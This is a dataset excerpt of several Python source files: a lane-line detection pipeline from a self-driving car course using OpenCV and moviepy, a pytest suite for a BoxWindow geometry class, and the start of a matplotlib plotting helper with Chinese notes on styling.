np.zeros((*img.shape, 3), dtype=np.uint8)\n    #draw_lines(line_img, lines)\n    draw_lane_lines(line_img, lines)\n    return line_img,lines\n\n\ndef weighted_img(img, initial_img, \u03b1=0.8, \u03b2=1., \u03b3=0.):\n    \"\"\"\n    `img` is the output of the hough_lines(), An image with lines drawn on it.\n    Should be a blank image (all black) with lines drawn on it.\n    \n    `initial_img` should be the image before any processing.\n    \n    The result image is computed as follows:\n    \n    initial_img * \u03b1 + img * \u03b2 + \u03b3\n    NOTE: initial_img and img must be the same shape!\n    \"\"\"\n    return cv2.addWeighted(initial_img, \u03b1, img, \u03b2, \u03b3)\n\n\ndef draw_imgs(imgs,vertices=None):\n    \"\"\"\n    show images as subplots\n    \"\"\"\n    #print(\"==\",imgs.keys())\n    fig = plt.figure(figsize=(fig_size,fig_size),dpi=100)\n    for index,img in enumerate(imgs):\n        plt.subplot(len(imgs)/COL+1, COL, index+1)\n        img_name = list(img.keys())[0]\n        image = list(img.values())[0]\n        plt.title(img_name)\n        plt.imshow(image)\n        print(img_name)\n    #fig.savefig(\"./examples/test_image_after.jpg\",bbox_inches='tight')\n\n        \ndef save_image(filename,img,size=(288,162)):\n    \"\"\"\n    resize and save image to local\n    \"\"\"\n    img2save = cv2.resize(img,size,cv2.INTER_LINEAR)\n    if len(size)>2:\n        plt.imsave(\"./examples/{0}.jpg\".format(filename),img2save)\n    else:\n        plt.imsave(\"./examples/{0}.jpg\".format(filename),img2save,cmap=\"gray\")\n\ndef draw_poly(filename,img,vertices):\n    \"\"\"\n    draw the poly lines of roi and save it to local\n    \"\"\"\n    fig = plt.figure(figsize=(3,2),dpi=100)\n    x = []\n    y = []\n    for v in vertices:\n        for xx,yy in v:\n            x.append(xx)\n            y.append(yy)\n            plt.plot(xx,yy,'.', color='red',markersize=10)\n            #note_point = \"({0},{1})\".format(xx,yy)\n            #plt.annotate(note_point,xy=(xx,yy),color='red')\n            \n    x.append(x[0])\n    y.append(y[0])\n    #plt.xticks([])  \n    #plt.yticks([])  \n    #plt.axis('off')\n    plt.plot(x, y, 'b--', lw=4)\n    plt.imshow(img)\n    \n    fig.savefig(\"./examples/{0}_with_dash.jpg\".format(filename),bbox_inches='tight')\n    \n\n\ndef draw_lines_in_xyspace(filename,lines,size=(28,16)):\n    \"\"\"\n    draw a plot to show all the line segments \n    red line : lines with illegal slope\n    blue line : lines with negative slope which is considering as the left line\n    green line : lines with postive slope which is considering as the right line\n    \"\"\"\n    fig = plt.figure(figsize=size,dpi=100)\n    ax = plt.gca()\n\n    for line in lines:\n        for x1,y1,x2,y2 in line:   \n            x = [x1,x2]\n            y = [y1,y2]\n            slope = (y2-y1)/(x2-x1)\n            if abs(slope) < 0.4 or abs(slope)>1:\n                color = \"r\"\n            elif slope < 0:\n                color = \"b\"\n            elif slope > 0:\n                color = \"g\"\n            plt.plot(x,y,color, lw=2)\n            plt.plot(x1,y1,'x', markersize=12)\n            plt.plot(x2,y2,'x', markersize=12)\n            note_start = \"({0},{1})\".format(x1,y1)\n            note_end = \"({0},{1})\".format(x2,y2)\n            note_slope = \"{0}\".format(slope)\n            plt.annotate(note_start,xy=(x1,y1))\n            plt.annotate(note_end,xy=(x2,y2))\n            plt.annotate(note_slope,xy=(x1,y1+10))\n    ax.invert_yaxis() \n    plt.show()\n    fig.savefig(\"./examples/{0}.jpg\".format(filename),bbox_inches='tight')\n\n    \ndef draw_polyfit_line(group,l,r,size=(28,16)):\n    \"\"\"\n    draw all the end points and the line fit them\n    \"\"\"\n    left_x,left_y,right_x,right_y = group\n    fig = plt.figure(figsize=size,dpi=100)\n    ax = plt.gca() \n\n    min_left_y = min(left_y) if len(left_y) > 0 else 99999\n    max_left_y = max(left_y) if len(left_y) > 0 else -99999\n    min_right_y = min(right_y) if len(right_y) > 0 else 99999\n    max_right_y = max(right_y) if len(right_y) > 0 else -99999\n\n    \n    maxy = max(max_right_y,max_left_y)\n    miny = min(min_left_y,min_right_y)\n    y1 = maxy\n    y2 = miny\n    \n    if len(left_x) > 0 and len(left_y) > 0:\n        plt.plot(left_x,left_y,'xb',markersize=\"15\")\n        lx1 = l(maxy)\n        lx2 = l(miny)\n        plt.plot([lx1,lx2],[y1,y2],'*r',markersize=\"25\")\n        plt.plot((lx1,lx2),(y1,y2),'-g')\n        \n    if len(right_x) > 0 and len(right_y) > 0:  \n        plt.plot(right_x,right_y,'xg',markersize=\"15\")\n        rx1 = r(maxy)\n        rx2 = r(miny)\n        plt.plot([rx1,rx2],[y1,y2],'*r',markersize=\"25\")\n        plt.plot((rx1,rx2),(y1,y2),'-y')\n    \n    ax.invert_yaxis() \n    fig.savefig(\"./examples/polyfit.jpg\",bbox_inches='tight')\n    \n    \ndef draw_lane_lines(img, lines, color=[255,30, 0], thickness=12,size=(28,16)):\n    \"\"\"\n    calculate the slope for each line segments and divide its end points into two groups\n    points on lines with postive slope which is considering as the right line\n    points on lines with negative slope which is considering as the left line\n    also rule out the lines whose absulute value of slope is not betweent 0.4~1\n    \n    using np.polyfit to get a line most fit the points in left group or right group,and this function\n    will return [m,b] for slope and intercept\n    \n    finally,using poly1d to get the polynomial and calculate the x by y. Then draw two lines on the image\n    \n    \"\"\"\n    i = 0\n    left_x = []\n    left_y = []\n    right_x = []\n    right_y = []\n    l = None\n    r = None\n    topY = int(330) # top of rio\n    bottomY = int(img.shape[1]) #bottom of rio\n    \n    \n    for line in lines:\n        for x1,y1,x2,y2 in line:\n            slope = (y2-y1)/(x2-x1)\n            if abs(slope) > 0.4 and abs(slope)<1:\n                if slope < 0: #left\n                    left_x += [x1,x2]\n                    left_y += [y1,y2]\n                elif slope > 0: #right\n                    right_x += [x1,x2]\n                    right_y += [y1,y2]\n            \n    # polyfit for valid point\n    \n    # if we get a valid line , do polyfit and append it to the cache\n    if len(left_y) > 0 and len(left_y) > 0:\n        z1 = np.polyfit(left_y,left_x,1)\n        left_line_queue.append(z1) \n        \n    # if we get a valid line , do polyfit and append it to the cache\n    if len(right_y) > 0 and len(right_y) > 0:\n        z2 = np.polyfit(right_y,right_x,1)\n        right_line_queue.append(z2)\n        \n    \n    left_ave_z = get_ave_z(left_line_queue)\n    right_ave_z = get_ave_z(right_line_queue)\n    \n    l = np.poly1d(left_ave_z)\n    lx1 = int(l(bottomY))\n    lx2 = int(l(topY))\n    \n    r = np.poly1d(right_ave_z)   \n    rx1 = int(r(bottomY))\n    rx2 = int(r(topY))\n        \n    cv2.line(img, (lx1,bottomY),(lx2,topY),[0,0,255],15)\n    cv2.line(img, (rx1,bottomY),(rx2,topY),[0,0,255],15)\n        \n    #draw_polyfit_line((left_x,left_y,right_x,right_y),l,r)    \n    \n    \n\n\n    \ndef get_ave_z(queue):\n    m = 0\n    b = 0\n    for p in queue:\n        m+=p[0]\n        b+=p[1]\n    ave_m = m/len(queue)\n    ave_b = b/len(queue) \n    return ave_m,ave_b\n\n\n# ## Test Images\n# \n# Build your pipeline to work on the images in the directory \"test_images\"  \n# **You should make sure your pipeline works well on these images before you try the videos.**\n\n# ## Build a Lane Finding Pipeline\n# \n# \n\n# Build the pipeline and run your solution on all test_images. Make copies into the `test_images_output` directory, and you can use the images in your writeup report.\n# \n# Try tuning the various parameters, especially the low and high Canny thresholds as well as the Hough lines parameters.\n\n# In[4]:\n\n\n# TODO: Build your pipeline that will draw lane lines on the test_images\n# then save them to the test_images_output directory.\n\nMAX_FRAME_NUM = 6 # max priors line cache numbers \n\nleft_line_queue = deque(maxlen=MAX_FRAME_NUM) # priors left line cache \nright_line_queue = deque(maxlen=MAX_FRAME_NUM) # priors right line cache \n    \n    \ndef _pipeline(image): \n    \"\"\"\n    build a pipeline to draw lane lines on the image\n    \n    1. tansfrom color image to gray scale image then using gaussian blur to smooth the gray image\n    2. using canny to detect edges\n    3. set 4 vertices of our interest region and using this region as a mask to rule out the non-related lines.\n    4. apply hough transform to detect the line segment \n    5. Draw hough lines on the original image.\n    \n    \"\"\"\n    # must make a copy otherwise when pipeline \n    # failed we cannot return the original image\n    # beacuse the original image has been changed\n    # by part of the pipeline\n    \n    image_copy = np.copy(image) \n    \n    imshape = image_copy.shape\n    \n    kernel_size = 3       # kernel size for gaussian blur\n    low_threshold = 100   # low threshold for canny\n    high_threshold = 300  # high threshold for canny\n    \n\n    # vertices of the region of interest(roi)\n    v1 = (0,imshape[0])\n    v2 = (450, 290)\n    v3 = (490, 290)\n    v4 = (imshape[1],imshape[0])\n    vertices = np.array([[v1,v2, v3, v4]], dtype=np.int32)\n    \n    # step1\n    gray_image = grayscale(image_copy)\n    \n    blur_image = gaussian_blur(gray_image, kernel_size)\n    #plt.imshow(blur_image)\n    # step2\n    edges = canny(blur_image, low_threshold, high_threshold)\n    #plt.imshow(edges)\n    # step3 \n    masked_edges,rio= region_of_interest(edges,vertices)\n    #plt.imshow(masked_edges)\n    \n    # step4: hough transform \n    # Define the Hough transform parameters\n    # Make a blank the same size as our image to draw on\n    rho = 1 # distance resolution in pixels of the Hough grid\n    theta = np.pi/180 # angular resolution in radians of the Hough grid\n    threshold = 60    # minimum number of votes (intersections in Hough grid cell)\n    min_line_len = 80 #minimum number of pixels making up a line\n    max_line_gap = 100    # maximum gap in pixels between connectable line segments\n    line_img,lines = hough_lines(masked_edges, rho, theta, threshold, min_line_len, max_line_gap)\n    #plt.imshow(line_img)\n    \n    #draw_lines_in_xyspace(\"hough_line_slope\",lines)\n    \n    # step5\n    result = weighted_img(line_img, image, \u03b1=0.8, \u03b2=1., \u03b3=0.)\n    \n    #save_image(\"gray_image\",gray_image)\n    #save_image(\"blur_image\",blur_image)\n    #save_image(\"edges\",edges)\n    #save_image(\"masked_edges\",masked_edges)\n    \n    #save_image(\"hough_lines\",line_img)\n    #save_image(\"hough_line_on_origin\",result)\n    #save_image(\"lane_lines\",result,size=(960,540))\n    #save_image(\"rio\",rio)\n    #draw_poly(\"rio\",edges,vertices)\n    \n    \n    return result\n    \n\n\n\n#draw_lines(line_img, lines)\n\n#cv2.line(test_image,v1,v2,color=[255, 0, 0], thickness=2)\n#color_edges = np.dstack((edges, edges, edges)) \n#plt.imshow(result_exp)\n# Draw the lines on the edge image\n#lines_edges = cv2.addWeighted(color_edges, 0.8, line_image, 1, 0) \n\n\nximages = os.listdir(\"test_images/\")[1:]\ndef draw_test_images():\n    check_images = []\n    for img in ximages :\n        filename = \"test_images/\"+img\n        _img = mpimg.imread(filename)\n        check_images.append({filename : _pipeline(_img)})\n    draw_imgs(check_images)\n\nimport os\nimage_output_dir = 'test_image_output/'\n\n\ndef draw_bad_images():\n    bad_images = []\n    for img in os.listdir(image_output_dir)[1:]:        \n        _img = mpimg.imread(image_output_dir+img)\n        bad_images.append({img : _pipeline(_img)})\n        \n    draw_imgs(bad_images)\n\ndraw_test_images()\n#draw_bad_images()\n\n\n# ## Test on Videos\n# \n# You know what's cooler than drawing lanes over images? Drawing lanes over video!\n# \n# We can test our solution on two provided videos:\n# \n# `solidWhiteRight.mp4`\n# \n# `solidYellowLeft.mp4`\n# \n# **Note: if you get an import error when you run the next cell, try changing your kernel (select the Kernel menu above --> Change Kernel). Still have problems? Try relaunching Jupyter Notebook from the terminal prompt. Also, consult the forums for more troubleshooting tips.**\n# \n# **If you get an error that looks like this:**\n# ```\n# NeedDownloadError: Need ffmpeg exe. \n# You can download it by calling: \n# imageio.plugins.ffmpeg.download()\n# ```\n# **Follow the instructions in the error message and check out [this forum post](https://discussions.udacity.com/t/project-error-of-test-on-videos/274082) for more troubleshooting tips across operating systems.**\n\n# In[5]:\n\n\n# Import everything needed to edit/save/watch video clips\nfrom moviepy.editor import VideoFileClip\nfrom IPython.display import HTML\n\n\n# In[6]:\n\n\n\ndef process_image(image):\n    global i\n    i+=1\n    # NOTE: The output you return should be a color image (3 channel) for processing video below\n    # TODO: put your pipeline here,\n    # you should return the final output (image where lines are drawn on lanes)\n    try :\n        result = _pipeline(image)\n    except Exception as e: #need to handle the error that pipeline failed to find any valid line\n        result = image\n        plt.imsave(image_output_dir + \"frame_{0}.jpg\".format(i),result)\n        #error_img.append({\"test\" : image})\n        \n    return result\n\n\n# Let's try the one with the solid white lane on the right first ...\n\n# In[7]:\n\n\ni = 0\nwhite_output = 'test_videos_output/solidWhiteRight.mp4'\n\n## To speed up the testing process you may want to try your pipeline on a shorter subclip of the video\n## To do so add .subclip(start_second,end_second) to the end of the line below\n## Where start_second and end_second are integer values representing the start and end of the subclip\n## You may also uncomment the following line for a subclip of the first 5 seconds\nclip1 = VideoFileClip(\"test_videos/solidWhiteRight.mp4\").subclip(0,5)\n#clip1 = VideoFileClip(\"test_videos/solidWhiteRight.mp4\")\nwhite_clip = clip1.fl_image(process_image) #NOTE: this function expects color images!!\nget_ipython().run_line_magic('time', 'white_clip.write_videofile(white_output, audio=False)')\nwhite_clip = white_clip.resize(0.5)\nwhite_clip.write_gif(\"examples/solidWhiteRight.gif\",fps=10,fuzz=1)\n#draw_imgs(error_img)\n\n\n# Play the video inline, or if you prefer find the video in your filesystem (should be in the same directory) and play it in your video player of choice.\n\n# In[8]:\n\n\nHTML(\"\"\"\n<video width=\"960\" height=\"540\" controls>\n\n  <source src=\"{0}\">\n</video>\n\"\"\".format(white_output))\n\n\n# ## Improve the draw_lines() function\n# \n# **At this point, if you were successful with making the pipeline and tuning parameters, you probably have the Hough line segments drawn onto the road, but what about identifying the full extent of the lane and marking it clearly as in the example video (P1_example.mp4)?  Think about defining a line to run the full length of the visible lane based on the line segments you identified with the Hough Transform. As mentioned previously, try to average and/or extrapolate the line segments you've detected to map out the full extent of the lane lines. You can see an example of the result you're going for in the video \"P1_example.mp4\".**\n# \n# **Go back and modify your draw_lines function accordingly and try re-running your pipeline. The new output should draw a single, solid line over the left lane line and a single, solid line over the right lane line. The lines should start from the bottom of the image and extend out to the top of the region of interest.**\n\n# Now for the one with the solid yellow lane on the left. This one's more tricky!\n\n# In[9]:\n\n\nyellow_output = 'test_videos_output/solidYellowLeft.mp4'\n## To speed up the testing process you may want to try your pipeline on a shorter subclip of the video\n## To do so add .subclip(start_second,end_second) to the end of the line below\n## Where start_second and end_second are integer values representing the start and end of the subclip\n## You may also uncomment the following line for a subclip of the first 5 seconds\nclip2 = VideoFileClip('test_videos/solidYellowLeft.mp4').subclip(0,5)\n#clip2 = VideoFileClip('test_videos/solidYellowLeft.mp4')\n\nyellow_clip = clip2.fl_image(process_image)\nget_ipython().run_line_magic('time', 'yellow_clip.write_videofile(yellow_output, audio=False)')\nyellow_clip = yellow_clip.resize(0.5)\nyellow_clip.write_gif(\"examples/solidYellowLeft.gif\",fps=10,fuzz=1)\n\n\n# In[10]:\n\n\nHTML(\"\"\"\n<video width=\"960\" height=\"540\" controls>\n  <source src=\"{0}\">\n</video>\n\"\"\".format(yellow_output))\n\n\n# ## Writeup and Submission\n# \n# If you're satisfied with your video outputs, it's time to make the report writeup in a pdf or markdown file. Once you have this Ipython notebook ready along with the writeup, it's time to submit for review! Here is a [link](https://github.com/udacity/CarND-LaneLines-P1/blob/master/writeup_template.md) to the writeup template file.\n# \n\n# ## Optional Challenge\n# \n# Try your lane finding pipeline on the video below.  Does it still work?  Can you figure out a way to make it more robust?  If you're up for the challenge, modify your pipeline so it works with this video and submit it along with the rest of your project!\n\n# In[11]:\n\n\nchallenge_output = 'test_videos_output/challenge.mp4'\n## To speed up the testing process you may want to try your pipeline on a shorter subclip of the video\n## To do so add .subclip(start_second,end_second) to the end of the line below\n## Where start_second and end_second are integer values representing the start and end of the subclip\n## You may also uncomment the following line for a subclip of the first 5 seconds\nclip3 = VideoFileClip('test_videos/challenge.mp4').subclip(0,5)\n#clip3 = VideoFileClip('test_videos/challenge.mp4')\nchallenge_clip = clip3.fl_image(process_image)\nget_ipython().run_line_magic('time', 'challenge_clip.write_videofile(challenge_output, audio=False)')\nchallenge_clip = challenge_clip.resize(0.5)\nchallenge_clip.write_gif(\"examples/challenge.gif\",fps=10,fuzz=1)\n\n\n# In[12]:\n\n\nHTML(\"\"\"\n<video width=\"960\" height=\"540\" controls>\n  <source src=\"{0}\">\n</video>\n\"\"\".format(challenge_output))\n\n", "meta": {"hexsha": "9270347063fc84f95a9ce7b3993be549c0160a0f", "size": 25952, "ext": "py", "lang": "Python", "max_stars_repo_path": "P1-code.py", "max_stars_repo_name": "hanxiaomax/CarND-LaneLines-P1", "max_stars_repo_head_hexsha": "c31c4a8c29ceb97b0a401f2863916a1b5ed5cb73", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "P1-code.py", "max_issues_repo_name": "hanxiaomax/CarND-LaneLines-P1", "max_issues_repo_head_hexsha": "c31c4a8c29ceb97b0a401f2863916a1b5ed5cb73", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "P1-code.py", "max_forks_repo_name": "hanxiaomax/CarND-LaneLines-P1", "max_forks_repo_head_hexsha": "c31c4a8c29ceb97b0a401f2863916a1b5ed5cb73", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.8113475177, "max_line_length": 638, "alphanum_fraction": 0.6815274353, "include": true, "reason": "import numpy", "num_tokens": 6841, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.16667539847889917, "lm_q1q2_score": 0.08203565364785011}}
{"text": "from os import error\nimport numpy as np\nimport pytest\n\nfrom sdia_python.lab2.box_window import BoxWindow, UnitBoxWindow\n\n\ndef test_raise_assertion_error_when_points_is_not_an_array():\n    with pytest.raises(AssertionError):\n        # call_something_that_raises_TypeError()\n        L = [[1, 2], [3, 4]]\n        box = BoxWindow(L)\n        raise AssertionError()\n\n\ndef test_raise_Exception_when_bounds_are_incorrect():\n    with pytest.raises(Exception):\n        L = np.array([[2, 1], [3, 4]])\n        box = BoxWindow(L)\n        raise Exception\n\n\ndef test_raise_Exception_when_dimension_is_incorrect():\n    with pytest.raises(Exception):\n        L = np.array([[1, 2, 4], [3, 4, 5]])\n        box = BoxWindow(L)\n        raise Exception\n\n\n@pytest.mark.parametrize(\n    \"bounds, expected\",\n    [\n        (np.array([[2.5, 2.5]]), \"BoxWindow: [2.5, 2.5]\"),\n        (np.array([[0, 5], [0, 5]]), \"BoxWindow: [0, 5] x [0, 5]\"),\n        (\n            np.array([[0, 5], [-1.45, 3.14], [-10, 10]]),\n            \"BoxWindow: [0.0, 5.0] x [-1.45, 3.14] x [-10.0, 10.0]\",\n        ),\n    ],\n)\ndef test_box_string_resentation(bounds, expected):\n    assert str(BoxWindow(bounds)) == expected\n\n\n@pytest.fixture\ndef box_2d_05():\n    return BoxWindow(np.array([[0, 5], [0, 5]]))\n\n\n@pytest.mark.parametrize(\n    \"point, expected\",\n    [\n        (np.array([0, 0]), True),\n        (np.array([2.5, 2.5]), True),\n        (np.array([-1, 5]), False),\n        (np.array([10, 3]), False),\n    ],\n)\ndef test_indicator_function_box_2d(box_2d_05, point, expected):\n    is_in = box_2d_05.indicator_function(point)\n    assert is_in == expected\n\n\n@pytest.mark.parametrize(\n    \"point, expected\",\n    [\n        (np.array([0, 0]), True),\n        (np.array([2.5, 2.5]), True),\n        (np.array([-1, 5]), False),\n        (np.array([10, 3]), False),\n    ],\n)\ndef test_contains_function_box_2d(box_2d_05, point, expected):\n    is_in = box_2d_05.__contains__(point)\n    assert is_in == expected\n\n\n# ================================\n# ==== WRITE YOUR TESTS BELOW ====\n# ================================\n\n\ndef test_raise_error_when_dimension_didnot_match_with_point():\n    with pytest.raises(AssertionError):\n        L = np.array([[1, 2], [3, 4]])\n        box = BoxWindow(L)\n        box.__contains__(np.array([0.5, 3.5, 2.5]))\n        raise AssertionError\n\n\n@pytest.mark.parametrize(\n    \"box, expected\",\n    [\n        (np.array([[1, 2]]), 1),\n        (np.array([[1, 2], [3, 4]]), 2),\n        (np.array([[1, 2], [3, 4], [5, 6]]), 3),\n        (np.array([[1, 2], [3, 4], [5, 6], [1, 2], [3, 4], [5, 6]]), 6),\n    ],\n)\ndef test_len_box(box, expected):\n    assert len(BoxWindow(box)) == expected\n\n\n@pytest.mark.parametrize(\n    \"box, expected\",\n    [\n        (np.array([[1, 2]]), 1),\n        (np.array([[1, 2], [3, 4]]), 2),\n        (np.array([[1, 2], [3, 4], [5, 6]]), 3),\n        (np.array([[1, 2], [3, 4], [5, 6], [1, 2], [3, 4], [5, 6]]), 6),\n    ],\n)\ndef test_dimension_box(box, expected):\n    assert BoxWindow(box).dimension() == expected\n\n\n@pytest.mark.parametrize(\n    \"box, expected\",\n    [\n        (np.array([[1, 2]]), 1),\n        (np.array([[1, 3], [3, 5]]), 4),\n        (np.array([[1, 2], [3, 4], [5, 7]]), 2),\n        (np.array([[1, 2], [3, 5], [5, 9], [1, 2], [3, 5], [5, 6]]), 16),\n    ],\n)\ndef test_volume_box(box, expected):\n    assert BoxWindow(box).volume() == expected\n\n\n@pytest.mark.parametrize(\n    \"box, expected\",\n    [\n        (np.array([[1, 2]]), np.array([1.5])),\n        (np.array([[1, 3], [3, 5]]), np.array([2, 4])),\n        (np.array([[1, 2], [3, 4], [5, 7]]), np.array([1.5, 3.5, 6.0])),\n        (\n            np.array([[1, 2], [3, 5], [5, 9], [1, 2], [3, 5], [5, 6]]),\n            np.array([1.5, 4.0, 7.0, 1.5, 4.0, 5.5]),\n        ),\n    ],\n)\ndef test_center_box(box, expected):\n    assert np.array_equal(BoxWindow(box).center(), expected)\n\n\n@pytest.mark.parametrize(\n    \"bounds\",\n    [\n        (np.array([[1, 2]])),\n        (np.array([[1, 3], [3, 5]])),\n        (np.array([[1, 2], [3, 4], [5, 7]])),\n        (np.array([[1, 2], [3, 5], [5, 9], [1, 2], [3, 5], [5, 6]])),\n    ],\n)\ndef test_rand_onepoint(bounds):\n    box = BoxWindow(bounds)\n    assert box.__contains__(box.rand()[0])\n\n\ndef test_rand_multiplepoint_3dimension():\n    box = BoxWindow(np.array([[1, 2], [10, 15.5], [3.5, 7]]))\n    coord = box.rand(100)\n    for value in coord:\n        assert box.__contains__(value)\n\n\ndef test_raise_error_when_center_is_not_an_array():\n    with pytest.raises(AssertionError):\n        center = [1, 2, 3]\n        box = UnitBoxWindow(center)\n        raise AssertionError\n\n\n@pytest.mark.parametrize(\n    \"center, expected\",\n    [\n        (np.array([0]), \"BoxWindow: [-0.5, 0.5]\"),\n        (np.array([0, 0]), \"BoxWindow: [-0.5, 0.5] x [-0.5, 0.5]\"),\n        (np.array([0, 0, 0]), \"BoxWindow: [-0.5, 0.5] x [-0.5, 0.5] x [-0.5, 0.5]\",),\n    ],\n)\ndef test_UnitBoxWindow(center, expected):\n    unitBox = UnitBoxWindow(center)\n    assert unitBox.__str__() == expected\n\n\n@pytest.mark.parametrize(\n    \"center, expected\",\n    [\n        (np.array([2.5]), \"BoxWindow: [2.0, 3.0]\"),\n        (np.array([1.5, 4]), \"BoxWindow: [1.0, 2.0] x [3.5, 4.5]\"),\n        (np.array([2.5, 8, -4.5]), \"BoxWindow: [2.0, 3.0] x [7.5, 8.5] x [-5.0, -4.0]\"),\n    ],\n)\ndef test_UnitBoxWindow_with_center_specified(center, expected):\n    unitBox = UnitBoxWindow(center)\n    assert unitBox.__str__() == expected\n\n\n@pytest.mark.parametrize(\n    \"center\", [(np.array([2.5])), (np.array([1.5, 4])), (np.array([2.5, 8, -4.5])),],\n)\ndef test_UnitBoxWindow_volume_is_equal_to_one(center):\n    unitBox = UnitBoxWindow(center)\n    assert unitBox.volume() == 1\n", "meta": {"hexsha": "e6f3a80d14872492b41de5fe5e1ed401343e9561", "size": 5593, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/lab2/test_box_window.py", "max_stars_repo_name": "aurelienO/sdia-python-1", "max_stars_repo_head_hexsha": "ac51505ca3656c9fab111f7088b69ba53bd4579d", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tests/lab2/test_box_window.py", "max_issues_repo_name": "aurelienO/sdia-python-1", "max_issues_repo_head_hexsha": "ac51505ca3656c9fab111f7088b69ba53bd4579d", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/lab2/test_box_window.py", "max_forks_repo_name": "aurelienO/sdia-python-1", "max_forks_repo_head_hexsha": "ac51505ca3656c9fab111f7088b69ba53bd4579d", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.1504854369, "max_line_length": 88, "alphanum_fraction": 0.5313785089, "include": true, "reason": "import numpy", "num_tokens": 1919, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44939263446475963, "lm_q2_score": 0.18242551491653522, "lm_q1q2_score": 0.08198068274193207}}
{"text": "import os\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib.ticker import FuncFormatter, MultipleLocator, FormatStrFormatter  # \u5750\u6807\u8f74\u8bbe\u7f6e\n\n\"\"\"\nDateframe\u548cArray\u7684\u76f8\u4e92\u8f6c\u6362\n    np_array = df.values\n    df = pd.DataFrame(np_array, index=[], columns=[])\n\nmatplotlib.pyplot\n    https://matplotlib.org/stable/api/_as_gen/matplotlib.pyplot.html\n\n\u663e\u793a\u4e2d\u6587/\u7279\u6b8a\u7b26\u53f7\u548c\u8f6c\u4e49\u5b57\u7b26\n    1. u'\\u2103'\u662f\u6444\u6c0f\u5ea6\u7b26\u53f7\uff0c\u524d\u9762\u7684u\u4ee3\u8868unicode\uff0c\u5f15\u53f7\u4e2d\u662f\u8be5\u7b26\u53f7\u5bf9\u5e94\u7684unicode\u7f16\u7801\n    2. \u663e\u793a\u4e2d\u6587: plt.xlabel((u'\u4e2d\u6587\u6807\u9898', fontproperties='SimHei')\n    3. \u663e\u793a\u516c\u5f0f: plt.xlabel('Rice('+r'$\\mu\\mathrm{mol}$'+' '+'$ \\mathrm{m}^{-2} \\mathrm{s}^{-1}$'+')')\n    4. \u6587\u672c\u4e2d\u7684\u7a7a\u683c\u9700\u8981\u8f6c\u4e49\u7b26 'hello\\ world'\n\n\u5b57\u4f53\u7684\u8bbe\u7f6e\uff1a\n    https://blog.csdn.net/helunqu2017/article/details/78659490\n    fontsize=12,  ['xx-small', 'x-small', 'small', 'medium', 'large','x-large', 'xx-large']\n    fontweight='bold',  ['light', 'normal', 'medium', 'semibold', 'bold', 'heavy', 'black']\n    fontstyle\u8bbe\u7f6e\u5b57\u4f53\u7c7b\u578b\uff0c\u53ef\u9009\u53c2\u6570[ 'normal' | 'italic' | 'oblique' ]\uff0citalic\u659c\u4f53\uff0coblique\u503e\u659c\n    verticalalignment\u8bbe\u7f6e\u6c34\u5e73\u5bf9\u9f50\u65b9\u5f0f \uff0c\u53ef\u9009\u53c2\u6570 \uff1a 'center' , 'top' , 'bottom' ,'baseline' \n    horizontalalignment\u8bbe\u7f6e\u5782\u76f4\u5bf9\u9f50\u65b9\u5f0f\uff0c\u53ef\u9009\u53c2\u6570\uff1aleft,right,center\n    rotation(\u65cb\u8f6c\u89d2\u5ea6)\u53ef\u9009\u53c2\u6570\u4e3a:vertical,horizontal \u4e5f\u53ef\u4ee5\u4e3a\u6570\u5b57\n    alpha\u900f\u660e\u5ea6\uff0c\u53c2\u6570\u503c0\u81f31\u4e4b\u95f4\n    backgroundcolor\u6807\u9898\u80cc\u666f\u989c\u8272\n    bbox\u7ed9\u6807\u9898\u589e\u52a0\u5916\u6846 \uff0c\u5e38\u7528\u53c2\u6570\u5982\u4e0b\uff1a\n        boxstyle\u65b9\u6846\u5916\u5f62\n        facecolor(\u7b80\u5199fc)\u80cc\u666f\u989c\u8272\n        edgecolor(\u7b80\u5199ec)\u8fb9\u6846\u7ebf\u6761\u989c\u8272\n        edgewidth\u8fb9\u6846\u7ebf\u6761\u5927\u5c0f\n\n\u7ebf\u6761\u548c\u70b9\u7684\u6837\u5f0f\u8bbe\u7f6e: \n    linestyle='--' \u6216 linefmt='--'\n    \u53c2\u80031: https://matplotlib.org/stable/gallery/lines_bars_and_markers/linestyles.html\n    \u53c2\u80032: https://matplotlib.org/2.1.1/api/_as_gen/matplotlib.pyplot.plot.html\n    \n    color='red'\n    \u53c2\u80031: https://matplotlib.org/stable/tutorials/colors/colors.html\n    \u53c2\u80032: \u989c\u8272\u4ee3\u7801\u8868 https://www.jianshu.com/p/f674e71b429c\n    \u53c2\u80033: \u989c\u8272\u8272\u7cfb https://zhuanlan.zhihu.com/p/65220518\n    \n    marker='|' \u6216 markerfmt='|'\n    \u53c2\u80031: https://matplotlib.org/stable/api/markers_api.html\n    \n    \u7efc\u5408\u53c2\u8003: https://www.cnblogs.com/darkknightzh/p/6117528.html\n\"\"\"\n\n\ndef foo_plt_save_graphs(title_, path_=None):\n    if path_ is not None:\n        plt.savefig(os.path.join(path_, title_+'.png'), dpi=120)\n    else:\n        if not os.path.exists('output_graphs'):\n            os.mkdirs('output_graphs')\n            plt.savefig(os.path.join('output_graphs', title_+'.png'), dpi=120)\n\n\ndef foo_plt_basic_setting(title_=None, xlabel_=None, ylabel_=None,\n                xlim_=None, ylim_=None,\n                is_legend=True, is_grid=True):\n    if title_ is not None:\n        